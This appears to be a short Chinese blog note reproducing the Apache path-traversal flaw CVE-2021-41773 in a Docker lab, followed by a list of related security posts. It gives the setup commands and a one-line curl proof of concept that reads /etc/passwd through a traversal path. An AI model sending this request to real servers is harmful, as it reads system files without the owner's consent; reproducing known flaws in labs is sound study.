1.环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -d -p 8080:80 97308de4753d
2.使用poc
curl http://192.16.10.190:8080/cgi-bin/../../../../etc/passwd
3.工具验证
相关推荐
Suckerbin16 分钟前
digitalworld.local: TORMENTlingggggaaaa2 小时前
小迪安全v2023学习笔记（八十讲）—— 中间件安全&WPS分析&Weblogic&Jenkins&Jetty&CVE北极光SD-WAN组网3 小时前
基于智能组网设备的港口网络安全闭环管控方案设计与实践Suckerbin20 小时前
LAMPSecurity: CTF5靶场渗透李白你好1 天前
CyberPoC 是一个现代化的网络安全练习和竞赛平台，支持容器化部署的安全挑战，为用户提供实践网络安全技能的环境。心 一1 天前
Web安全基石：深入理解与防御SQL注入漏洞KKKlucifer1 天前
网络安全等级保护：等级保护工作、分级保护工作、密码管理工作三者之间的关系Suckerbin1 天前
LAMPSecurity: CTF6靶场渗透碳水加碳水2 天前
Java代码审计实战：XML外部实体注入（XXE）深度解析lingggggaaaa2 天前
小迪安全v2023学习笔记（七十九讲）—— 中间件安全&IIS&Apache&Tomcat&Nginx&CVE